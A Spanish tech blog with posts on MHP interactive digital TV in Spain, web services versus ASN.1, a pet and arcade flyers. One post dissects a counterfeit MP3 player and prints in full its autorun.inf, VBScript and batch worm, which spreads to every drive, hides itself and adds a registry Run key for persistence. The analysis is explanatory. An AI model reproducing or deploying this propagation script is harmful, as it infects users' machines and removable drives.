Pues para esto tenemos dos opciones, o un entorno de autoría, que suponen que con el ratón y sin saber Java se pueden hacer aplicaciones, pero que solo consiguen que construyamos aplicaciones bobas que más parecen una presentación PowerPoint que algo serio, o un entorno de programación serio.

En la primera categoría tenemos productos como iDesigner, Emuse ModelStream, Alticast AltiComposer, Cardinal Studio, etc. En general son todos poco recomendables, y es casi mejor aprender Java y MHP y hacer las aplicaciones uno mismo programando, aunque para hacer cuatro cosillas nos pueden valer. Algunos dejan luego introducir código Java a mano para completar las aplicaciones, aunque hay que tener cuidado, ya que muchas veces no es Java MHP, sino un "scripting" propietario (pasa en AltiComposer, iDesigner, etc.) o Java con interfaces propios (ModelStream).

En la segunda tenemos dos opciones de fiar, Osmosys SDK y NDS MHDK (el precio de una licencia ronda los 3.000 € en ambos casos):

El primero, Osmosys SDK, es un producto de calidad, que se instala como "plugin" de Eclipse y que incluye un emulador software para probar las aplicaciones en PC, así como un interfaz para subir aplicaciones a un descodificador por puerto serie (vale cualquiera que incluya la implementación MHP de Osmosys. La gente de Osmosys es amable solucionando bugs del entorno y el entorno se actualiza con frecuencia. Usa una llave USB como protección anticopia.

El otro, NDS MHDK, se instala como "plugin" de Eclipse o de NetBeans (un buen detalle soportar este último), e incluye también un emulador software, bastante más completo que el de Osmosys, ya que soporta características avanzadas, como tablas SI simuladas y control de parámetros de emisión. El problema es que el emulador simula la implamentación MHP de NDS, que tiene ciertos bugs e incompatibilidades que lo hacen molesto, ya que nos obliga a probar las aplicaciones tanto en su emulador como en descodificadores con Osmosys y Alticast si quieremos asegurarnos que funcionan bien en todos los cacharros (esto pasa también en Osmosys SDK, pero en menor medida). También soporta la carga por puerto serie en descodificadores MHP, aunque solo soporta un modelo de Philips. La gente de NDS en Francia también son muy amables y sin problema envían versiones de evaluación.

Vale, tenemos el entorno de programación... ¿Nos vale con eso? desgraciadamente no. Como cada fabricante ha implementado MHP a su manera (es un problema grave de MHP 1.0.x y 1.1.x, ya que no pasan un conjunto de pruebas severo para homologar las implementaciones), el que tengamos una aplicación funcionando en un entorno de desarrollo y en uno o dos descodificadores hardware no nos garantiza que funcione o se vea bien en todos los del mercado. Si cada fabricante facilitase las herramientas para cargar aplicaciones por puerto serie, nos bastaría con comprar una pila de descodificadores representativa del mercado, pero como no es así, necesitamos montarnos una mini cabecera de televisión para pruebas de aplicaciones MHP. Una configuración mínima consistiría en los siguientes equipos:

Carrusel

Es donde se publican las aplicaciones MHP, suele residir en un hardware dedicado. Hay marcas y modelos para todos los gustos, yo uso uno llamado S&T TSBroadcaster/TSPlayer (en Sun Solaris SPARC), pero podemos también mirar el Alticast AltiSynchro, Thales/Thomson GrassValley, e incluso uno gratuito (bajo Linux), Cineca, de origen italiano. Como todos los componentes de una cabecera de televisión se conectan mediante interfaces ASI (Interfaz Serie Asíncrono), necesitaremos una placa ASI (acostumbran a ser tarjetas PCI), que suele también multiplexar (unir varias señales en una) la señal del carrusel con una externa.
Normalmente, el carrusel nos permite además multiplexar por software una señal de audio y una de video (a partir de un "Transport Stream" MPEG2 en disco) , con lo que ya tenemos todo lo que queremos emitir en una única señal ASI sin necesidad de más cacharros. El precio ronda los 20.000 € con todo el hardware incluido.

Modulador

La señal ASI de salida del carrusel (y las otras señales ASI que tengamos) hay que modularla, normalmente en DVB-T (TDT). El modulador pilla una entrada ASI y nos da una salida modulada, que contectaremos directamente con un cable normal de antena (coaxial 75 Ohm.) a la toma de antena de nuestro descodificador (se suele poner un atenuador, para que no nos de calambrazos al tocar metal, pero no es obligatorio...). Hay moduladores profesionales para rack (yo uso un ProTelevision) o de andar por casa por USB, que incluso pueden ellos multiplexar el audio y el video desde un "Transport Stream" MPEG2 en disco), cosa útil si tu carrusel no lo soporta... ¿El precio? Uno profesional vale unos 20.000 €, y uno USB algo más de 3.000 €.

Servidor de tablas

Esto es opcional, pero si nuestra aplicación necesita leer las tablas SI de metadatos (cosa rara), necesitamos un servidor de tablas, que o lo instalamos con el carrusel y multiplexamos por software o compramos uno aparte (de nuevo mirad Thales/Thomson GrassValley). El precio supera los 10.000 € incluyendo el hardware.

Con este equipo solo necesitamo ya una buena colección de descodificadores MHP (intentando alternar entre los que incorporan MHP de Osmosys y de Alticast, y uno o dos de NDS) e ir probando con nuestra mini cabecera las aplicaciones en todos ellos, asegurándonos que funcionan y se ven bien siempre. Que no se me olvide una cosilla: para crear un "Transport Stream" MPEG 2 en formato DVB podéis usar programas como "MainConcept MPEG Encoder" (hay "cracks" disponibles, por si sois malas personas y os da por piratear) o "Manzanita MP2TSMM" (yo uso este último, usa llave hardware USB como protección, funciona en Windows y Solaris SPARC y vale algo menos de 3.000 €).

Pues sabiendo lo que es MHP, como programarlo y como probar las aplicaciones... ¡Ya estamos listos para crear servicios de televisión digital interactiva!

Lo malo de las aplicaciones de televisión digital interactiva es que no son como las de Internet, en las que un hosting vale dos duros, aquí, quien aloja nuestras aplicaciones, es un canal de televisión, que hay pocos y no tienen especialmente buenos precios... Para hacernos una idea, RTVE viene a cobrar (aprox.) unos XXXXXX € anuales pòr alojar una aplicación con tamaño máximo de 150 Kb. las 24 horas del día. No es especialmente barato ¿verdad? Si os llama la atención el límite de 150 Kb., no es a mala leche, el espacio de carrusel es muy limitado (cuanto más tamaño en Kb. se publique, más lenta irá la descarga, recordad que va en carrusel, por lo que cuando más pesado sea este, más tarda en dar la vuelta), y RTVE prefiere tener 10 o 15 aplicaciones distintas, pequeñitas, bien pensadas y que tarden poco en cargar, que 5 grandes con información que nadie quiere. Las autonómicas suelen relajar un poco este límite, pero tampoco demasiado (unos 300 Kb.). Si estáis pensando en descargar vía aérea lo mínimo imprescindible y luego ya por Internet (a priori sin ningún límite) ir bajando lo que necesitemos, tened un par de cosas en cuenta:

• Muchos descodificadores vendidos (los Engel y los Inves/iCAN, para ser más precisos y nombrar los más extendidos) no tienen Ethernet, solo módem. Ya no es que vaya a ir un poco lento, es que la mayoría de los usuarios no van a conectar sus descodificadores a la línea telefónica, en parte por desconfianza por la factura (completamente justificada), en parte por no tener la línea ocupada.
• MHP 1.0.x y 1.1 (el 100% de los vendidos hasta ahora en españa) no permite descargar código por el canal de retorno y luego ejecutarlo (por seguridad), solo contenidos (fotos, textos, etc.), con lo que no nos libramos de tener que construir aplicaciones muy muy optimizadas.

Otra cosa que diferencia este medio de Internet: si este último tiene cobertura mundial, la televisión digital interactiva tiene una audiencia localizada, que puede ser local, autonómica o nacional (TDT), continental o mundial (satélite) o nacional solo (cable), así que conviene personalizar a tope las aplicaciones al público donde emita el canal que nos aloja.
Bueno, aun así parece que nuestro público objetivo es ámplio... ¿no? Pues no. Los descodificadores TDT (o satélite) normales no ejecutan MHP, solo ciertos modelos que rondan los 100 €. Solo el 0,22% de los descodificadores TDT vendidos en España son compatibles MHP, según ImpulsaTDT (y el 0% de los satélite). Aunque parece que Ono tiene intención de migrar a MHP (ahora usa una plataforma propietaria llamada Orca), no parece que sea algo cercano (y aunque lo fuese, sustituir el parque instalado de descodificadores Orca por otros MHP no se hace de la noche a la mañana). Imagenio parece que está bien con la plataforma MiViewTV (de Alcatel-Lucent), pero aunque quisiese migrar a MHP (parece que lo están valorando), no podrían hasta que salga la versión 1.2 de MHP, que soportará televisión por IP, cosa que ahora no hace. Respecto a Digital+, usa MediaHighway, que es competencia de MHP y propiedad de Canal+, por lo que no es probable que cambien. Eso sí, la última versión de MediaHighway, denominada Advanced, tiene la posibilidad de ejecutar en una especie de "modo emulación", aplicaciones MHP sencillas. Supongo que es una forma de cubrise las espaldas por si MHP triunfa y MediaHighway se ve "acorralada".

OK, la situación es mala, pero... En 2010 hay apagón, y la gente comprará descodificadores, y serán muchos compatibles MHP... ¿no? No. La industria (fabricantes de descodificadores y televisores) ha detectado que, puestos a pasar de los 40 € que vale un descodificador TDT barato (los llamados "zappers", que no ofrecen nada más que sintonizar los canales) a uno que ronde los 100 €, los usuarios prefieren características como la alta definición (ya en emisión en ciertos canales satélite y en pruebas en TDT e Imagénio), la posibilidad de grabar en disco duro (PVR/DVR), o cualquier otra cosa excepto los interactivos, así que no tienen intención de sacar descodificadores con MHP al mercado. ¿Y porque ese rechazo a los interactivos? Vamos a repasar alguno de los servicios que podemos encontrar en la TDT interactiva española actualmente, pongo el ejemplo de RTVE, pero es en todos lo mismo:

• Información de tráfico. Es completa, pero ya tenemos la radio (complementada con el sistema RDS) y el teletexto.
• Información meteorológica. Idem, ya la tenemos en los telediarios, en la radio, en el teletexto...
• Guía electrónica de programación. Eso ya nos lo da el descodificador o la tele sin necesidad de MHP. Y sino es más cómodo consultarlo en el periódico (total, ambas van a estar desactualizadas...).
• Información bursátil. ¿De verdad alguien que invierta seriamente lo va a ver con MHP? Tengo la radio, Internet, la CNN, el busca de Reuters, etc.
• Etc.

En otros canales, como los de Prisa (40 Latino, Cuatro, CNN+, etc.) tenemos un "ticker" de noticias (una banda inferior por la que pasa desplazándose el texto de las noticias) y alguna chorradilla más, pero vamos, que nada realmente útil. ¿Merece la pena pagar 50 o 60 € más por esto? No.

A medio plazo esta situación podría mejorar un poco gracias a los bancos y cajas de ahorros, que parece que tienen intención de meter banca electrónica en TDT interactiva (CCM, CajaMadrid, CajaAstur, etc.). A mi me parece útil no tener que usar el PC solo para ver si me han ingresado ya la nómina o me han cargado la hipoteca, pero vamos, que si eso me supone pagar un extra por el descodificador de verdad que me lo pienso...

El caso es que tenemos una pescadilla que se muerde la cola, nadie quiere MHP porque no hay servicios atractivos en la TDT y no hay servicios atractivos porque apenas hay público objetivo para ellos y no merece la pena la inversión. ¿Y como solucionamos esto? ¿Quién tiene que impulsar MHP? Parece lógico pensar que debería ser el gobierno, pero no lo tengo yo muy claro...

• El gobierno podría poner servicios públicos por TDT interactiva y así mejorar la oferta de contenido ¿no? Pues no lo se. La agencia tributaria puso durante la campaña de la renta un servicio para confirmar el borrador de la declaración, pero no llamaría yo a eso "servicio atractivo". Por su parte, el Ministerio de Administraciones Públicas junto con Inteco estan embarcadas en un proyecto para crear una pila de servicios públicos diversos en TDT interactiva, pero de nuevo no creo que vayan a llamar la atención de los ciudadanos como para que compren equipos más caros solo por esto.
• Otra forma de impulsar esto podría ser subvencionar los descodificadores interactivos para que valgan igual que los zappers... Una pena que la Unión Europea prohiba estas subvenciones (que se lo pregunten al gobierno italiano). De todas formas, aun camuflando estas subvenciones, no como subvención de equipos, sino subvención a los ciudadanos para que compren equipos, la cantidad de dinero necesaria para hacerlo a nivel nacional sería enorme y los beneficiós (en cuanto a "digitalización" de los cuidadanos) escasos, ya que los servicios "avanzados", que vayan más allá de un teletexto mejorado, necesitarían conexión a Internet, cosa que escasea en nuestro país, especialmente la banda ancha, y recordad que los usuarios no quieren conectar los descodificadores a la línea telefónica... Una cosa que no he comentado es que una aplicación MHP puede decidir a que número de teléfono llama para conectarse a Internet, pasando olímpicamente de la configuración que tú hayas indicado en el descodificador y sin que el usuario se entere hasta que le llegue la factura (y existen los números de tarificación especial, y la mala fe, y las ganas de sacar dinero a la gente a toda costa...), así que esta desconfianza es absolutamente justificada.
• La compatibilidad de las aplicaciones MHP con el nuevo DNI electrónico podría ser un impulso, la gente tiene un DNI nuevo que no sabe donde ni como usar, y si ve un logotipo de "compatible DNI electrónico" en los descodificadores MHP puede que se anime a comprar y ver para que vale una cosa, la otra y las dos juntas... Pero desgraciadamente el DNI electrónico (DNIe), a día de hoy, no es compatible con MHP (para desarrollar las bibliotecas de DNIe para MHP hace falta una información que la DGP, el Ministerio del Interior, el Centro Criptológico Nacional o quien sea se niegan a facilitar). Aunque parece que hay intención de compatibilizar DNIe y MHP, como tarde mucho más va a llegar justo a tiempo para el funeral de MHP en la TDT española.

¿Y entonces? ¿Como promocionar MHP? A mi modo de ver es sencillo. MHP permite acceso condicional (televisión de pago) en TDT, así que con poner dos o tres canales pornográficos y dos o tres con fútbol se arreglaba la cosa. Este modelo ha funcionado bien en Italia, donde con tarjetas prepago (que se venden en kioskos) se pueden comprar partidos de fútbol en TDT con un descodificador MHP. Un par de aplicaciones de apuestas, principalmente deportivas, también ayudarían... Es lo que tienen los vicios, que son valores seguros.

Pues esto ha sido todo por hoy sobre la televisión digital interactiva, se puede resumir en una palabra: fracaso. Si aun despues de esto os da por comprar un descodificador TDT con MHP, no lo váis a tener fácil: En Carrefour y MediaMarkt se podía comprar hasta hace poco tiempo un Engel por 100 €, pero lo están retirando porque nadie lo compraba (además de que no tiene Ethernet y es lento como él solo). Inves en teoría vende cuatro modelos con MHP, y digo en teoría porque solo se ven publicitados por la Web de tienda virtual de El Corte Inglés, pero no te dan la opción de comprar ninguno (si lo conseguís, evitad el modelo que pone "suministrado en el proyecto Alcazar de San Juan Digital", es una castaña). Irismedia vende un par de modelos basados en Osmosys, pero creo que no al público en general, solo a mayoristas y desarrolladores. Y bueno, en tiendas que importan paralelamente podéis encontrar algún HuMax u otros cacharros, pero tened una cosa en cuenta con esto, el firmware de los descodificadores se actualiza vía aérea (al vuelo, con la misma emisión de los canales de televisión), pero como es caro que los fabricantes publiquen sus firmwares en los canales (RTVE venía a combrar una cuota anual y unos XXXX € adicionales cada vez que lo actualizaban), si no es un modelo de una "primera marca" o uno muy vendido (o sea, ninguno), no esperéis actualizaciones, corriendo el riego de quedaros con una versión obsoleta de MHP para siempre. Si buscáis una tele con TDT y MHP incorporados, podéis parar de buscar, Philips tenía un par de modelos pero los retiró del mercado, Samsung sacó uno y también lo tuvo que retirar porque dio un montón de problemas, LG comentó que tenía intención de sacar un modelo con MHP, pero nada se sabe de el tema...

¡Ah! Y una cosa, los precios que he puesto de equipos son aproximados, y he quitado los precios de RTVE, no vaya a ser que alguien se moleste por publicarlos aquí...

# posted by ClawGrip @ 12:03 7 comments

Reproductor audio MP3 y video MPEG4 con 8GB de memoria flash, bajo peso, tamaño compacto y pantalla color: 10 €.
No está mal ¿no? Pero no es la oferta lo que quería comentar hoy yo aquí, sino lo que intenta hacer el reproductor sin que te des cuenta... Me explico:

Cuando abres la unidad (conectádolo vía USB a un PC Windows), se autoarranca un pequeño script gracias a un fichero autorun.inf que hay en el raíz del reproductor, con el siguiente contenido:

[AutoRun]
open=wscript.exe win.vbe
shell\open\Command=wscript.exe win.vbe
shell\explore\Command=wscript.exe win.vbe
shell\find\Command=wscript.exe win.vbe


set ws=wscript.createobject("wscript.shell")
ws.run "win.bat /start",0


Pues nos lleva ahora hasta un batch de los de toda la vida (win.bat). Seguimos tirando del hilo:

@echo OFF
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
set v=1
set "endf=%systemdrive%\jmp.txt"
echo.Wscript.sleep 20000>sleep.vbe
attrib sleep.vbe +a +s +r +h
if /i not "%cd%"=="%systemroot%" (call:cb&del/a/f/q sleep.vbe&goto :eof)
set dl=CDEFGHIJKLMNOPQRSTUVWXYZ
set n=0
call:inf >inf.tem
call:ql "%systemroot%\UÅ̲¡¶¾·ÖÎöBeta3.exe"
echo.Wscript.sleep 20000>sleep.vbe
:s
echo. >uishere-%v%.txt
if exist "%endf%" (goto end)
if "!dl:~%n%,1!"=="" (set n=0&sleep.vbe)
set d=!dl:~%n%,1!:
set /a n=n+1
if not exist %d% (goto s)
if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f
rd "%d%\autorun.inf" /s /q)
if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call UÅ̲¡¶¾·ÖÎö.bat -a -l -d %d:~0,-1% -c -i -s&goto s1)) else (goto s1)
if not exist "%d%\%~n0.vbe" (goto s2)
if not exist "%d%\%~nx0" (goto s3)
if not exist "%d%\UÅ̲¡¶¾·ÖÎöBeta3.exe" (goto s4)
if exist %d%\%date:~0,10%.sk (goto s)
:s1
call:inf >%d%\autorun.inf
attrib %d%\autorun.inf +a +s +r +h
if exist "%d%\%~n0.vbe" (del /a /f /q "%d%\%~n0.vbe")
:s2
call:vbe >"%d%\%~n0.vbe"
attrib "%d%\%~n0.vbe" +a +s +r +h
:s3
call:copy "%~dpnx0" "%d%\"
:s4
call:copy "UÅ̲¡¶¾·ÖÎöBeta3.exe" "%d%\"
if exist %d%\*.sk (del /a /f /q %d%\*.sk)
echo.>%d%\%date:~0,10%.sk
attrib %d%\%date:~0,10%.sk +a +s +r +h
goto s
:cb
if exist "%systemroot%\uishere-*.txt" (del /a /f /q "%systemroot%\uishere-*.txt"&sleep.vbe)
if exist "%systemroot%\uishere-*.txt" (if exist "%systemroot%\uishere-%v%.txt" (goto :eof) else (echo.>"%endf%"&sleep.vbe))
call:copy "%~dpnx0" "%systemroot%\"
rem call:copy "UÅ̲¡¶¾·ÖÎöBeta3.exe" "%systemroot%\"
if exist "%systemroot%\%~n0.vbe" (del /a /f /q "%systemroot%\%~n0.vbe")
call:vbe >"%systemroot%\%~n0.vbe"
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /t REG_SZ /d "%systemroot%\%~n0.vbe" /f
start "" /wait /d "%systemroot%\" "%systemroot%\%~n0.vbe"
goto :eof
:vbe
echo.set ws=wscript.createobject("wscript.shell")
echo.ws.run "%~nx0 /start",0
goto :eof
:inf
echo.[AutoRun]
echo.open=wscript.exe %~n0.vbe
echo.shell\open\Command=wscript.exe %~n0.vbe
echo.shell\explore\Command=wscript.exe %~n0.vbe
echo.shell\find\Command=wscript.exe %~n0.vbe
goto :eof
:copy
if exist "%~dp2%~nx1" (del/a/f/q "%~dp2%~nx1")
attrib "%~1" -s -h
copy "%~1" "%~dp2"
attrib "%~1" +s +h
attrib "%~dp2%~nx1" +s +h
goto :eof
:ql
cd /d "%systemroot%\"
del /a /f /q Anti-UÅÌÃâÒß.bat ReadMe.txt uda-½âѹ.bat uda.exe UÅ̲¡¶¾·ÖÎö.bat zap.exe Ö÷²Ù¿Ø.bat
cd /d "%~dp0"
goto :eof
:end
call UÅ̲¡¶¾·ÖÎö.bat -c&call:ql&del/a/f/q "%~dp0sleep.vbe" "%endf%" inf.tem "UÅ̲¡¶¾·ÖÎöBeta3.exe" "%~n0.vbe" "%~nx0" "uishere-%v%.txt"® delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /f


Y en este batch vemos cosillas curiosas: Por una parte, que se instala el solito en el registro para arrancarse automáticamente al inicio y quedarse residente, y por otra que si borras los scripts Visual Basic, el batch o el autorun.inf los vuelve a crear de forma automática. Lo imcomprensible es que hace referencia a otros ejecutables que no copia, con lo que nunca se ejecutan (UÅ̲¡¶¾·ÖÎöBeta3.exe es el más visible, los caracteres raros del inicio del nombre de fichero son chinos). El único que sí copia es sleep.vbe, que es un script tonto en Visual Basic que define cada cuanto se va a ejecutar el batch:

Wscript.sleep 20000


Pues sin esos ejecutables, todo este asunto parece inofensivo (excepto el malgasto de recursos de tener un programita continuamente ejecutándose), pero... ¿A que da mal royo?

Si alguien se pregunta que dónde he comprado esto, lo han traido directamente de una tienda en Hong-Kong ¡a ver si os creéis que en Europa iban a dejar venderlo con los logos de Apple puestos en el cacharro!

# posted by ClawGrip @ 17:23 1 comments

Es perrita, y se llama Chica. Lo que lleva en la pata es una vía, que hubo que hospitalizarla por que nos la dieron enferma...

# posted by ClawGrip @ 10:41 0 comments

Comentábamos en el primer artículo de la serie que XML era un formato completamente inadecuado para su uso en los servicios Web, dadas sus necesidades de potencia de proceso y memoria para su análisis y la gran cantidad de metadatos que incluye que hacen más costosa su transmisión por red.

Si XML es inadecuado... ¿Que otro formato podríamos haber usado? A priori, el candidato perfecto es ASN.1. ASN.1 es un formato muy compacto (optimizado para su uso en redes) y cuyo proceso apenas consume recursos, además de que esta perfectamente normalizado y lleva años usándose en multitud de protocolos y servicios.

¿Y si reimplementamos los servicios Web para que usen ASN.1 en vez de XML? Pues eso es lo que, con unos años de retraso, están intentando el ITU-T y el W3C en lo que llaman Fast Web Services.

Vayamos por orden: Si reimplemento todo lo que ya tengo montado sobre XML ¿No perderé toda la pila de añadidos que tenía ya montada? (como Web Services Security) No exactamente, gracias a la flexibilidad de ASN.1 y su afinidad con XML, contamos con las llamadas Reglas de Codificación XML de ASN.1 (o XER, XML Encoding Rules), que nos aportan una equivalencia total entre ambos formatos, haciéndolos completamente equivalentes.

Ya lo tenemos, ASN.1, pese a haber llegado tarde, encaja perfectamente en el juego de los servicios Web. Vamos a ver que es lo que nos añade respecto a los servicios Web clásicos:

Fast Infoset

Codificación binaria en ASN.1 de los datos XML

Fast Schema

Codificación binaria en ASN.1 utilizando esquemas

Fast Web Services

Combina Fast Infoset y Fast Schema en contenidos autodescritos mediante esquemas, y añade Fast SOAP, que no es más que una codificación de SOAP 1.2 que utiliza ASN.1 binario en vez de XML
SOAP es a su vez el protocolo de intercambio de mensajes XML de los servicios Web tradicionales.

Ok, hemos pasado a usar ahora un formato de datos más compacto y rápido de procesar ¿De verdad se notan las mejoras? Os copio un par de gráficos que nos pueden dar una idea:

Yo creo que las mejoras son evidentes ¿No? Pues aún con estas a la gente le da miedo utilizar ASN.1 en vez de XML, más que nada por desconocimiento, pero ASN.1 es la base de muchos de los protocolos más usados en la actualidad, como SNMP, SSL, Kerberos e incluso UDDI y Web Services Security, ya que ASN.1 forma parte integral de los directorios modernos (X.500 y LDAP) y las funcionalidades criptográficas más comunes (firmas, cifrados por clave pública, etc.). Podeis encontrar mucha más información sobre ASN.1 en http://asn1.elibel.tm.fr/en/.

Y ya para terminar, un par de direcciones útiles por si quereis empezar a migrar vuestros servicios Web ya mismo:

• IBM ASN.1/XML Translator
• Sun Java Web Services Developers Pack - Fast Web Services
• Atos Origin ASN.1 Marben Tools

# posted by ClawGrip @ 11:24 0 comments

En el artículo anterior comentábamos como los servicios Web habían conseguido normalizar el modo en el las arquitecturas cliente-servidor, así que era lógico sacar partido a esta normalización desarrollando infraestructura alrededor de los servicios que añadiese algo de valor. Vamos a ver un par de ejemplos:

WSDL / UDDI

Ya que tenemos normalizados los mensajes y los protocolos de transporte, parece normal que tengamos un modo común de atacar a los servicios (que no es más que una variante de las viejas llamadas a procedimientos remotos).
Hasta aquí nada nuevo, pero añadamos un lenguaje formal de descripción de estos servicios (WSDL) ¿Que tenemos ahora? Pues una forma universal de describir que servicio ofrecemos y como se puede usar ese servicio ¿Y si ponemos en un directorio todas las descripciones de los servicios de nuestro sistema (UDDI)? Pues eso, la descripción completa de los servicios de nuestro sistema, incluyendo su modo de uso.
La utilidad de este sistema de descripción es enorme, y va desde analizadores de WSDL para crear automáticamente los clientes de estos servicios (o incluso el esqueleto de la parte servidora) hasta el descubrimiento automático de servicios y el uso "al vuelo" de estos.

Seb Services Security

Seguridad para servicios Web ¿Que es realmente esto? Para empezar, una enorme sopa de letras (XKMS, SAML, XACML, ebXML, etc.), y de fondo, un intento de dotar a los servicios Web de capacidades de cifrado, firma y seguridad en general.
Vamos a intentar explicarlo con un diagrama que representa una transacción segura con servicios Web:

1. El mensaje XML se firma (mediante XML Signature) y se cifra (con XML Encryption).
   El mensaje puede contener asunciones (afirmaciones que debes dar por ciertas) codificadas mediante SAML, que es un lenguaje especialmente diseñado para ello.
2. Una vez que el mensaje ha llegado al destinatario (WS Security o ebXML MS contemplan los pasos por los posibles intermediarios) utilizamos un servicio XKMS para la validación de claves contra los servicios de confianza (una PKI o incluso un directorio directamente).
   XKMS es un servicio de gestión de claves (de certificados) basado en XML que hace más sencilla la interacción con sistemas PKI (sistemas de seguridad basados en claves asimétricas tipo pública/privada) o equivalentes.
3. Ya con las claves validadas, procedemos a la verificación y descifrado del mensaje (de nuevo mediante mediante XML Encryption y XML Digital Signature).
4. Una vez tenemos descifrado y comprobado el contenido del mensaje, verificamos si las políticas de seguridad permiten realizar las operaciones asociadas al mensaje (usando XACML).
   XACML es un lenguaje para la definición de políticas y actuaciones relativas al control de accesos.

Y por hoy es todo, de nuevo espero que os haya sido útil, no me he extendido mucho en WSDL y UDDI porque tampoco tienen mucho fondo. Si echais de menos que hable de SOAP pegad un comentario y en el próximo artículo de la serie me entretengo ¡No os perdais la tercera parte!

# posted by ClawGrip @ 12:44 1 comments

Intento de explicar qué son los servicios Web, para que valen, de donde provienen y que hay de fondo en toda la repercusión tecnológica que están teniendo. Espero que os sea útil.

Para empezar entendiendo a fondo los servicios Web es mejor tomarlos como un intento de normalización tecnológica de una arquitectura clásica cliente servidor, recordemos que especto tenía:

Disponemos de un servidor, que ofrece una serie de servicios a través de la red, los cuales son accedidos por clientes en diferentes extremos. Simple y efectivo, pero entonces ¿Donde está el problema? El gran problema es que es solo un dibujo de arquitectura, cada uno puede implementarlo como desee, usando las tecnologías que prefiera, lo cual nos deja muy lejos de una arquitectura uniforme e interoperable, que sería lo deseable.

Bien, busquemos entonces una definición de normativas más o menos estricta que nos permita crear servicios interoperables sea cual sea la plataforma o el fabricante de donde provenga tanto el servidor como los clientes... Empecemos paso a paso ¿Que necesitamos normalizar?

El formato de los mensajes

Como el diálogo es entre máquinas y no hay necesidad de que sea legible por personas, parece lógico que se tratase de un formato binario (nativo para las máquinas) y cuyo proceso automático sea lo más eficiente posible, a ser posible que esté ya normalizado y bien probado (mejor si es ya un estándar internacional) y como la comunicación cliente-servidor va a ser por una red de comunicaciones, sería bueno también que el formato estuviese optimizado para su transmisión por redes (mínimo tamaño de metadatos, información compactada, etc.).

El protocolo de transmisión

Necesitaríamos que fuese el óptimo para el formato de mensajes elegido y que permitiese una operación orientada a conexión ¿Por que orientado a conexión? Voy a poner un ejemplo tontísimo de conversación para dejar claras las diferencias:

Orientado a Conexión:

(Tomás llama a Susana)
Tomás: Hola Susana, soy Tomás ¿Vienes a la inaguración de mi casa nueva esta noche?
Susana: Vale, pero te tengo que confesar algo que he estado ocultando... Estoy casada.
(Segundos de silencio por la sorpresa...)
Tomás: Pues no te lo vas a creer, yo también te he estado ocultando algo: ¡También yo estoy casado! ¿Quedamos entonces a las 23:30?
Susana: ¡Ok! Me llevaré a mi marido para que le conozcas ¿Estará también tu mujer?
(Segundos de silencio mientras Tomás se lo piensa...)
Tomás: Pues supongo que sí... Venga nos vemos en un rato ¡Hasta ahora!
Susana: ¡Hasta ahora!
(Fin de la llamada)

No orientado a Conexión:

(Tomás llama a Susana)
Tomás: Hola Susana, soy Tomás ¿Vienes a la inaguración de mi casa nueva esta noche?
Susana: Vale, pero te tengo que confesar algo que he estado ocultando... Estoy casada.
La llamada se corta, Tomás vuelve a llamar a Susana...
Tomás: Hola, soy yo otra vez, que antes se ha cortado. Pues no te lo vas a creer, yo también te he estado ocultando algo: ¡También yo estoy casado! ¿Quedamos entonces a las 23:30?
Susana: ¡Ok! Me llevaré a mi marido para que le conozcas ¿Estará también tu mujer?
La llamada se corta, Tomás vuelve a llamar a Susana...
Tomás: Soy Tomás, otra vez se ha cortado, te sigo contando: Pues supongo que sí... Venga nos vemos en un rato ¡Hasta ahora!
Susana: ¡Hasta ahora!
(Fin de la llamada)

¿Veis la diferencia? En el segundo caso a Tomás le toca hacer tres llamadas (establecer tres conexiones), lo cual tiene un coste telefónico mayor (igualmente las conexiones de red suponen un coste), además de tener que recordarle a Susana que es él de nuevo para reanudar la conversación (mantener la sesión entre conexiones). En el primer caso Tomás hace solo una llamada y la conversación no se corta (menor coste, menos tiempo de charla y diálogo fluido), pero nada impedía a Tomás cortar en cualquier momento la llamada y volver a marcar después (porque un protocolo orientado a conexión se puede forzar para que actúe como no orientado a conexión, pero no al contrario). Supongo que ya tenemos claro la conveniencia de utilizar un protocolo orientado a conexión ¿No?

Ok, ya tenemos claros los requerimientos, vamos entonces a analizar las tecnologías que forman la base de los servicios Web:

Formato de los mensajes: XML

XML: Enorme cantidad de metadatos (más tamaño), no optimizado para su transmisión por redes de comunicación, legible por personas, pero costoso (recursos de procesador y memoria) de procesar y analizar por máquinas, y eso sí, normalizado por la industria.

Protocolo de transmisión: HTTP

Optimizado para el transporte de SGML (lo cual resulta óptimo dada la elección de XML), pero no orientado a conexión.

¿Por que? ¿Por que usar las tecnologías más inadecuadas? Solo hay un motivo: Los cortafuegos.

Recordemos brevemente el funcionamiento de los cortafuegos:
Si, por poner un ejemplo, tengo una red interna a mi organización que da un solo servicio externo (que es el servicio Web) y unos cuantos más servicios internos (directorio y ficheros compartidos por ejemplo), sería deseable contar con mecanismos que asegurasen que desde fuera solo se va a poder acceder al servicio Web, mientras que desde dentro la operativa no va a estar limitada. Pues esto es lo que hace el cortafuegos. En este caso el cortafuegos solo dejaría entrar conexiones externas si van dirigidas al puerto 80 (puerto del servicio Web), con protocolo HTTP (protocolo Web) y transfiriendo algún tipo de SGML (páginas Web).

Y si ya tengo puesto un cortafuegos en mi red (configurado como en el ejemplo) y quiero montar una arquitectura cliente-servidor hacia fuera ¿Como lo hago? Pues hay dos opciones, o modifico la configuración del cortafuegos o fuerzo a mi sistema cliente servidor a usar el puerto 80, el protocolo HTTP y a intercambiar XML (tipo de SGML). Ya lo tenemos: Los servicios Web actuales.

Está bien claro que hubiese sido más fácil reconfigurar el cortafuegos, pero ya no tiene remedio. Uno de los culpables de esta auténtica perversión tecnológica es XML: Por moda o por friquismo XML se ve como la solución universal a todos los problemas de formato, y evidentemente no lo es...

Seguiremos en los póximos capítulos desarrollando el tema ¡No os los perdais!

# posted by ClawGrip @ 22:07 2 comments

By request, hi-res versions of the flyers:

Click on the images to load the high resolution ones.

# posted by ClawGrip @ 22:33 0 comments

Official FER site: http://www.grupointerazar.com/

And just to finish the reports, some flyers I got:

If anyone wants hi-res versions of any image or any flyer scan (TAFA?) just ask for it on the MAME boards.

# posted by ClawGrip @ 18:24 0 comments

Tempo Kiddo Go!

Dancing Stage Fusion

Dynamic Derby

